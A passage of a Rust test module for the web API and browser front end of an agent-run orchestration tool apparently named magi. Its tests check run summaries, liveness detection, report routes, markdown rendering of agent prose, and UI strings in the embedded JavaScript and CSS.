12100 let row = &summary[0];
12101 assert_eq!(row["short"], "a1b2");
12102 assert_eq!(row["status"], "ready");
12103 assert_eq!(row["done"], true);
12104 assert_eq!(row["title"], "Add a web UI");
12105 assert_eq!(row["repo_name"], "magi");
12106 assert_eq!(row["judges"], 3);
12107 assert_eq!(row["winner"], Value::Null);
12108 assert_eq!(row["reviews"], 0);
12109
12110 let detail = f.get("/api/runs/a1b2").await;
12113 assert_eq!(detail.status, 200);
12114 assert_eq!(detail.json()["base_branch"], "main");
12115 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12116 }
12117
12118 #[tokio::test]
12126 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12127 let f = Fixture::start().await;
12128
12129 let mut none_run = RunState::new(
12130 PathBuf::from("/repo/magi"),
12131 "main".to_owned(),
12132 "0123456789abcdef".to_owned(),
12133 "Add a web UI".to_owned(),
12134 Config::default(),
12135 );
12136 none_run.id = "20260902-140503-none".to_owned();
12137 none_run.status = RunStatus::Ready;
12138 none_run.merge = Some(crate::run::MergeOutcome {
12139 mode: crate::config::MergeMode::None,
12140 ok: true,
12141 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12142 empty: false,
12143 });
12144 write_state(&f.runs(), &none_run);
12145
12146 let mut pr_run = RunState::new(
12147 PathBuf::from("/repo/magi"),
12148 "main".to_owned(),
12149 "0123456789abcdef".to_owned(),
12150 "Add a web UI".to_owned(),
12151 Config::default(),
12152 );
12153 pr_run.id = "20260902-140504-prcl".to_owned();
12154 pr_run.status = RunStatus::Ready;
12155 pr_run.merge = Some(crate::run::MergeOutcome {
12156 mode: crate::config::MergeMode::Pr,
12157 ok: false,
12158 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12159 empty: false,
12160 });
12161 write_state(&f.runs(), &pr_run);
12162
12163 let summary = f.get("/api/runs").await.json();
12164 let rows: std::collections::HashMap<&str, &Value> = summary
12165 .as_array()
12166 .expect("an array")
12167 .iter()
12168 .map(|r| (r["id"].as_str().expect("an id"), r))
12169 .collect();
12170 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12171 assert_eq!(
12172 rows[none_run.id.as_str()]["unmerged_by_design"],
12173 true,
12174 "a mode-none Ready must be flagged in the list"
12175 );
12176 assert_eq!(
12177 rows[pr_run.id.as_str()]["unmerged_by_design"],
12178 false,
12179 "a Ready reached by a closed pull request is a different case"
12180 );
12181
12182 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12183 assert_eq!(none_detail["status"], "ready");
12184 assert_eq!(none_detail["unmerged_by_design"], true);
12185
12186 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12187 assert_eq!(pr_detail["unmerged_by_design"], false);
12188 }
12189
12190 #[tokio::test]
12195 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12196 let f = Fixture::start().await;
12197 let id = "20260902-140502-bbbb";
12201 let mut state = RunState::new(
12202 PathBuf::from("/repo/magi"),
12203 "main".to_owned(),
12204 "0123456789abcdef".to_owned(),
12205 "Add a web UI".to_owned(),
12206 Config::default(),
12207 );
12208 state.id = id.to_owned();
12209 state.status = RunStatus::Judging;
12210 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12211 let dir = f.runs().join(id);
12212 std::fs::create_dir_all(&dir).expect("run dir");
12213 std::fs::write(
12214 dir.join("run.json"),
12215 serde_json::to_string_pretty(&state).expect("serialize run"),
12216 )
12217 .expect("write run.json");
12218
12219 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12225 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12226 assert_eq!(cold["live"], "unknown", "{cold}");
12227
12228 write_daemon(f.home.path(), Timestamp::now());
12231 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12232 assert_eq!(warm["live"], "live", "{warm}");
12233 }
12234
12235 #[tokio::test]
12238 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12239 let f = Fixture::start().await;
12240 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12241 let mut state = RunState::new(
12242 PathBuf::from("/repo/magi"),
12243 "main".to_owned(),
12244 "0123456789abcdef".to_owned(),
12245 "Add a web UI".to_owned(),
12246 Config::default(),
12247 );
12248 state.id = id.to_owned();
12249 state.origin = origin;
12250 let mut value = serde_json::to_value(&state).expect("serialize run");
12251 if let Some(schema) = schema {
12252 value["schema"] = serde_json::json!(schema);
12253 value.as_object_mut().unwrap().remove("origin");
12254 }
12255 let dir = f.runs().join(id);
12256 std::fs::create_dir_all(&dir).expect("run dir");
12257 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12258 };
12259 write(
12260 "20260930-092817-ec34",
12261 Some(crate::run::Origin::from_agent_env(
12262 Some(("4a7b".to_owned(), "chat".to_owned())),
12263 None,
12264 )),
12265 None,
12266 );
12267 write("20260930-092817-0ld1", None, Some(12));
12268
12269 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12270 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12271 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12272
12273 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12274 assert_eq!(
12275 old["origin_label"], "origin unknown (started before origins were recorded)",
12276 "{old}"
12277 );
12278 assert!(old["origin"].is_null(), "{old}");
12279
12280 let list = f.get("/api/runs").await.json();
12281 let labels: Vec<_> = list
12282 .as_array()
12283 .unwrap()
12284 .iter()
12285 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12286 .collect();
12287 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12288 }
12289
12290 #[tokio::test]
12297 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12298 let f = Fixture::start().await;
12299 let id = "20260922-090000-cccc";
12300 let mut state = RunState::new(
12301 PathBuf::from("/repo/magi"),
12302 "main".to_owned(),
12303 "0123456789abcdef".to_owned(),
12304 "Review only".to_owned(),
12305 Config::default(),
12306 );
12307 state.id = id.to_owned();
12308 state.status = RunStatus::Reviewing;
12309 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12310 state.driver_pid = Some(std::process::id());
12316 state.driver_started_at = Some(
12317 crate::proc::process_started_at(std::process::id())
12318 .expect("this test process's own start time must be queryable"),
12319 );
12320 let dir = f.runs().join(id);
12321 std::fs::create_dir_all(&dir).expect("run dir");
12322 std::fs::write(
12323 dir.join("run.json"),
12324 serde_json::to_string_pretty(&state).expect("serialize run"),
12325 )
12326 .expect("write run.json");
12327
12328 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12329 assert_eq!(detail["live"], "live", "{detail}");
12330 }
12331
12332 #[tokio::test]
12338 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12339 let f = Fixture::start().await;
12340 let id = "20260922-090100-dddd";
12341 let mut state = RunState::new(
12342 PathBuf::from("/repo/magi"),
12343 "main".to_owned(),
12344 "0123456789abcdef".to_owned(),
12345 "Review only".to_owned(),
12346 Config::default(),
12347 );
12348 state.id = id.to_owned();
12349 state.status = RunStatus::Reviewing;
12350 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12351 state.driver_pid = Some(std::process::id());
12356 state.driver_started_at = Some("1".to_owned());
12357 let dir = f.runs().join(id);
12358 std::fs::create_dir_all(&dir).expect("run dir");
12359 std::fs::write(
12360 dir.join("run.json"),
12361 serde_json::to_string_pretty(&state).expect("serialize run"),
12362 )
12363 .expect("write run.json");
12364
12365 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12366 assert_eq!(detail["live"], "dead", "{detail}");
12367 }
12368
12369 #[test]
12373 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12374 let mk = |id: &str, pid: Option<u32>| {
12375 let mut s = RunState::new(
12376 PathBuf::from("/repo/magi"),
12377 "main".to_owned(),
12378 "0123456789abcdef".to_owned(),
12379 "Add a web UI".to_owned(),
12380 Config::default(),
12381 );
12382 s.id = id.to_owned();
12383 s.driver_pid = pid;
12384 s.driver_started_at = Some("1790000000".to_owned());
12385 s
12386 };
12387 let states = vec![
12388 mk("20260902-140502-aaaa", Some(77)),
12389 mk("20260902-140502-bbbb", Some(77)),
12390 mk("20260902-140502-cccc", Some(77)),
12391 mk("20260902-140502-dddd", None),
12392 ];
12393 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12394 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12395 let sup: HashMap<String, String> = [(
12396 "20260902-140502-aaaa".to_owned(),
12397 "20260902-140502-cccc".to_owned(),
12398 )]
12399 .into();
12400
12401 let status_calls = std::cell::Cell::new(0);
12402 let identity_calls = std::cell::Cell::new(0);
12403 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12404 |_| {
12405 status_calls.set(status_calls.get() + 1);
12406 Some(true)
12407 },
12408 |_| {
12409 identity_calls.set(identity_calls.get() + 1);
12410 Some("1790000000".to_owned())
12411 },
12412 ));
12413 let rows = summarize(
12414 states,
12415 &open,
12416 &claimed,
12417 &sup,
12418 |p| probe.borrow_mut().status(p),
12419 |p| probe.borrow_mut().started_at(p),
12420 );
12421
12422 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12423 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12424 assert_eq!(rows.len(), 4);
12425 assert!(!rows[0].waiting && rows[1].waiting);
12426 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12427 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12428 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12429 assert_eq!(rows[1].superseded_by, None);
12430 }
12431
12432 #[test]
12433 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12434 let mut state = RunState::new(
12435 PathBuf::from("/repo/magi"),
12436 "main".to_owned(),
12437 "0123456789abcdef".to_owned(),
12438 "Review only".to_owned(),
12439 Config::default(),
12440 );
12441 state.id = "20260922-090200-dead".to_owned();
12442 state.status = RunStatus::Reviewing;
12443 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12444 .expect("serialize list row");
12445 assert_eq!(row["status"], "reviewing");
12446 assert_eq!(row["live"], "dead", "{row}");
12447 assert!(!row["done"].as_bool().unwrap());
12448 }
12449
12450 #[tokio::test]
12451 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12452 let f = Fixture::start().await;
12453 for id in [
12454 "20260902-140501-aaaa",
12455 "20260902-140502-bbbb",
12456 "20260902-140503-cccc",
12457 ] {
12458 write_run(&f.runs(), id, RunStatus::Merged);
12459 }
12460
12461 let all = f.get("/api/runs").await.json();
12462 let capped = f.get("/api/runs?limit=2").await.json();
12463
12464 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12465 assert_eq!(all.as_array().map(Vec::len), Some(3));
12466 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12467 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12468 }
12469
12470 #[tokio::test]
12471 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12472 let f = Fixture::start().await;
12473 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12474
12475 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12476
12477 assert_eq!(res.status, 200);
12478 assert!(
12479 res.headers
12480 .contains("content-type: text/plain; charset=utf-8"),
12481 "a browser must render it, not download it: {}",
12482 res.headers
12483 );
12484 assert!(
12488 res.body.contains("20260902-140501-a1b2"),
12489 "the report is about the run that was asked for: {}",
12490 res.body
12491 );
12492 }
12493
12494 #[tokio::test]
12495 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12496 crate::run::pin_test_home();
12498 let f = Fixture::start().await;
12499 let id = "20260902-140501-a1b2";
12500 write_run(&f.runs(), id, RunStatus::Stalled);
12501 let path = f.runs().join(id).join("run.json");
12504 let mut v: serde_json::Value =
12505 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12506 v["tally"] = serde_json::json!({
12507 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12508 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12509 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12510 "met_quorum": false, "rankings": 1
12511 });
12512 v["reviews"] = serde_json::json!([{
12513 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12514 "e2e_deferred": true,
12515 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12516 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12517 ]}]
12518 }]);
12519 std::fs::write(&path, v.to_string()).unwrap();
12520 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12521 std::fs::write(
12522 f.runs().join("20260902-140502-dead").join("run.json"),
12523 "{not json",
12524 )
12525 .unwrap();
12526
12527 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12528
12529 assert_eq!(res.status, 200, "{}", res.body);
12530 assert!(res.headers.contains("content-type: application/json"));
12531 let j = res.json();
12532 assert_eq!(j["schema"], 1);
12533 assert_eq!(j["header"]["id"], id);
12534 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12535 let kinds: Vec<&str> = j["sections"]
12536 .as_array()
12537 .unwrap()
12538 .iter()
12539 .map(|s| s["kind"].as_str().unwrap())
12540 .collect();
12541 assert_eq!(kinds, ["candidates", "tally", "review"]);
12542 let tally = &j["sections"][1]["tally"];
12543 assert_eq!(
12544 (tally["decided"].clone(), tally["provisional"].clone()),
12545 (false.into(), true.into())
12546 );
12547 let round = &j["sections"][2]["rounds"][0];
12548 assert_eq!(round["e2e"]["state"], "deferred");
12549 assert_eq!(round["findings"][0]["severity"], "major");
12550 assert_eq!(round["findings"][0]["blocking"], true);
12551 assert_eq!(round["findings"][0]["state"], "open");
12552
12553 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12555
12556 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12558 assert_ne!(bad.status, 200, "{}", bad.body);
12559 assert_eq!(
12560 bad.status,
12561 f.get("/api/runs/20260902-140502-dead/report").await.status
12562 );
12563 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12564 assert_eq!(
12565 f.get("/api/runs/20260902-999999-ffff/report.json")
12566 .await
12567 .status,
12568 404
12569 );
12570 }
12571
12572 #[tokio::test]
12573 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12574 let f = Fixture::start().await;
12575
12576 let html = f.get("/").await;
12577 let css = f.get("/app.css").await;
12578 let js = f.get("/app.js").await;
12579
12580 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12581 assert!(
12582 html.headers
12583 .contains("content-type: text/html; charset=utf-8")
12584 );
12585 assert!(css.headers.contains("content-type: text/css"));
12586 assert!(js.headers.contains("content-type: text/javascript"));
12587 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12588 }
12589
12590 #[test]
12591 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12592 let body = |name: &str| {
12593 let at = APP_JS
12594 .find(name)
12595 .unwrap_or_else(|| panic!("{name} missing"));
12596 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12597 };
12598 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12599 let note = body("function landRoundNote");
12600 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12601 assert!(note.contains("Land round ${round}"));
12602 let land = body("function renderLand");
12603 let note_at = land
12604 .find("landRoundNote(pr)")
12605 .expect("renderLand uses the note");
12606 assert!(
12607 note_at
12608 < land
12609 .find("roundRail(pr)")
12610 .expect("renderLand uses the rail")
12611 );
12612 }
12613
12614 #[test]
12615 fn the_runs_page_redesign_keeps_its_guards() {
12616 let body = |name: &str| {
12617 let at = APP_JS
12618 .find(name)
12619 .unwrap_or_else(|| panic!("{name} missing"));
12620 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12621 };
12622 let land = body("function renderLand");
12624 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12625 assert!(
12626 !land.contains("box.append("),
12627 "renderLand must use append()"
12628 );
12629 assert!(land.contains("append(box, ["));
12630 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12632 assert!(
12633 body("function applyRoute")
12634 .contains("route.name !== state.route.name || route.id !== state.route.id")
12635 );
12636 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12638 assert!(!INDEX_HTML.contains("advise-converge"));
12639 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12640 assert!(APP_JS.contains("provisional"));
12641 for id in [
12642 "run-tab-overview",
12643 "run-tab-timeline",
12644 "run-tab-report",
12645 "run-report",
12646 "runs-scope",
12647 ] {
12648 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12649 }
12650 assert!(!INDEX_HTML.contains("runs-tree"));
12651 assert!(!INDEX_HTML.contains("run-raw-panel"));
12652 assert!(APP_JS.contains("resume"));
12654 assert!(APP_JS.contains("unreadable"));
12656 }
12657
12658 #[test]
12659 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12660 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12661 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12662 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12663 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12664 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12665 assert!(APP_JS.contains("unreadable` : null"));
12667 }
12668
12669 #[test]
12670 fn the_run_detail_payload_says_whether_the_run_is_done() {
12671 for (status, done) in [
12673 (RunStatus::Superseded, true),
12674 (RunStatus::Blocked, true),
12675 (RunStatus::Landing, false),
12676 ] {
12677 let mut state = RunState::new(
12678 std::path::PathBuf::from("/repo"),
12679 "main".to_owned(),
12680 "abc".to_owned(),
12681 "x".to_owned(),
12682 crate::config::Config::default(),
12683 );
12684 state.status = status;
12685 let v = serde_json::to_value(RunDetailView::of(
12686 state,
12687 crate::run::Liveness::Unknown,
12688 None,
12689 None,
12690 None,
12691 ))
12692 .unwrap();
12693 assert_eq!(v["done"], done, "{status:?}");
12694 }
12695 }
12696
12697 fn has_strong(nodes: &[md::Node]) -> bool {
12699 serde_json::to_string(nodes).unwrap().contains("strong")
12700 }
12701
12702 #[test]
12703 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12704 let mut state = RunState::new(
12705 std::path::PathBuf::from("/repo"),
12706 "main".to_owned(),
12707 "abc".to_owned(),
12708 "x".to_owned(),
12709 crate::config::Config::default(),
12710 );
12711 let proposal = |approach: &str| {
12712 serde_json::json!({
12713 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12714 })
12715 };
12716 state.advice = Some(
12717 serde_json::from_value(serde_json::json!({
12718 "records": [
12719 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12720 "proposal": proposal("do **this**")},
12721 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12722 ],
12723 "synthesis": "- one\n- **two**\n\n`code`",
12724 }))
12725 .unwrap(),
12726 );
12727 state.candidates = serde_json::from_value(serde_json::json!([
12728 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12729 "summary": "did **it**"},
12730 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12731 ]))
12732 .unwrap();
12733 state.reviews = serde_json::from_value(serde_json::json!([{
12736 "round": 1, "head": "h",
12737 "reviews": [{
12738 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12739 "findings": [
12740 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12741 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12742 ],
12743 }],
12744 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12745 "fix": {"agent": "a", "notes": "fixed **it**",
12746 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12747 }, {"round": 2, "head": "h2", "reviews": []}]))
12748 .unwrap();
12749
12750 let v = serde_json::to_value(RunDetailView::of(
12751 state,
12752 crate::run::Liveness::Unknown,
12753 None,
12754 None,
12755 None,
12756 ))
12757 .unwrap();
12758
12759 let strong = |p: &str| {
12760 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12761 assert!(n.to_string().contains("strong"), "{p}: {n}");
12762 };
12763 strong("/advice_md/synthesis");
12764 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12765 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12766 strong("/advice_md/approaches/0");
12767 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12768 strong("/candidate_summaries_md/0");
12769 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12770 strong("/reviews_md/0/reviewers/0/summary");
12771 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12772 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12773 assert!(f[1].to_string().contains("strong"));
12774 strong("/reviews_md/0/reconsideration/0");
12775 strong("/reviews_md/0/fix/notes");
12776 strong("/reviews_md/0/fix/rejected/0");
12777 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12778 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12779 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12781 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12782 }
12783
12784 #[test]
12785 fn a_run_without_advice_has_no_advice_md() {
12786 let state = RunState::new(
12787 std::path::PathBuf::from("/repo"),
12788 "main".to_owned(),
12789 "abc".to_owned(),
12790 "x".to_owned(),
12791 crate::config::Config::default(),
12792 );
12793 let p = run_prose_md(&state);
12794 assert!(p.advice_md.is_none());
12795 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12796 }
12797
12798 #[test]
12799 fn a_question_view_carries_markdown_for_each_thread_turn() {
12800 let home = TempDir::new().unwrap();
12801 let store = ask::Questions::at(home.path().join("questions"));
12802 let mut q = Question::new(
12803 "run".to_owned(),
12804 "implement".to_owned(),
12805 "impl-A".to_owned(),
12806 "which?".to_owned(),
12807 String::new(),
12808 Vec::new(),
12809 );
12810 q.say("plain words").unwrap();
12811 q.reply("use **this**", Vec::new()).unwrap();
12812 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12813 let bodies = &v["thread_bodies_md"];
12814 assert_eq!(bodies.as_array().unwrap().len(), 2);
12815 assert!(!bodies[0].to_string().contains("strong"));
12816 assert!(bodies[1].to_string().contains("strong"));
12817 }
12818
12819 #[test]
12820 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12821 let home = TempDir::new().unwrap();
12822 let store = ask::Questions::at(home.path().join("questions"));
12823 let mut q = Question::new(
12824 "run".to_owned(),
12825 "conduct".to_owned(),
12826 "conduct".to_owned(),
12827 "which?".to_owned(),
12828 String::new(),
12829 Vec::new(),
12830 );
12831 q.say("plain words").unwrap();
12832 q.thread.push(ask::Turn {
12833 who: ask::Who::Agent,
12834 body: "Settled as `merge`".to_owned(),
12835 at: jiff::Timestamp::now(),
12836 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12837 });
12838 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12839 let notes = &v["thread_notes_md"];
12840 assert_eq!(notes.as_array().unwrap().len(), 2);
12841 assert!(notes[0].is_null());
12842 let text = notes[1].to_string();
12843 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12844 assert!(APP_JS.contains("ask-turn-note"));
12845 }
12846
12847 #[test]
12848 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12849 assert!(APP_JS.contains("function landView(run, raw) {"));
12853 assert!(
12854 APP_JS.contains(
12855 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12856 )
12857 );
12858 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12859 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12860 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12861 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12862 }
12863
12864 #[test]
12865 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12866 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12867 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12868 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12869 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12870 }
12871
12872 #[test]
12873 fn review_rounds_label_a_distinct_verified_head() {
12874 assert!(APP_JS.contains("round.verified_head"));
12875 assert!(APP_JS.contains("verified HEAD"));
12876 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12877 }
12878
12879 #[test]
12880 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12881 assert!(APP_JS.contains("blocked: { glyph:"));
12885 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12886
12887 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12891 assert!(
12892 APP_JS.contains(
12893 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12894 ),
12895 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12896 );
12897 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12901
12902 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12906 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12907 assert!(
12908 APP_JS.contains("location.hash = \"#/questions\";"),
12909 "a question node must jump to the Questions screen, not pretend to be a task"
12910 );
12911
12912 assert!(APP_JS.contains("Resolved questions"));
12915 assert!(APP_JS.contains("r.answersList.append("));
12916 assert!(APP_CSS.contains(".task-answers"));
12917 {
12918 let start = APP_JS
12919 .find("function updateTalkTaskRow")
12920 .expect("updateTalkTaskRow");
12921 let body = &APP_JS[start..];
12922 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12923 assert!(
12924 body.contains(
12925 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12926 ),
12927 "a chat-filed task row must link to the task page"
12928 );
12929 assert!(
12930 !body.contains("#/runs/") && !body.contains("#/queue/"),
12931 "the row must not branch to a run or the queue card"
12932 );
12933 assert!(APP_CSS.contains(".talk-task-link"));
12934 }
12935 }
12936
12937 #[test]
12938 fn a_task_notification_links_to_the_task_page() {
12939 let start = APP_JS
12941 .find("function noticeLink(")
12942 .expect("noticeLink exists");
12943 let body = &APP_JS[start..];
12944 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12945 assert!(
12946 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12947 "a task notice's link must target the task page"
12948 );
12949 assert!(
12950 !body.contains("#/queue/"),
12951 "regression: the task link must not go back to the Backlog route"
12952 );
12953 assert!(
12954 APP_JS.contains(
12955 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12956 ),
12957 "`#/tasks/<id>` must parse into the task route"
12958 );
12959
12960 assert!(
12962 APP_JS.contains(
12963 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12964 ),
12965 "`#/queue/<id>` must parse into a route carrying that id"
12966 );
12967
12968 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12972 assert!(APP_JS.contains("function consumeQueueFocus()"));
12973 assert!(APP_JS.contains("jumpToTask(id)"));
12974 }
12975
12976 #[test]
12979 fn chat_rows_put_the_title_alone_on_the_first_line() {
12980 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12981 assert!(APP_CSS.contains(
12982 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12983 ));
12984 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12985 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12986 }
12987
12988 #[test]
12989 fn run_rows_put_the_title_alone_on_the_first_line() {
12990 assert!(
12991 APP_CSS.contains(
12992 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12993 )
12994 );
12995 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12996 assert!(APP_JS.contains("class: \"card run-card\""));
12997 assert!(APP_JS.contains("class: \"repo run-id\""));
12998 }
12999
13000 #[test]
13004 fn wide_screens_show_list_and_preview_side_by_side() {
13005 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13007 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13008 assert!(APP_CSS.contains("main[data-split]"));
13009 assert!(APP_CSS.contains("body[data-split]"));
13010
13011 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13013 assert!(
13014 APP_JS.contains(
13015 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13016 )
13017 );
13018 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13019 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13020 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13021
13022 assert!(APP_JS.contains("function markSelected() {"));
13024 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13025 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13026 assert!(
13028 APP_CSS.contains(
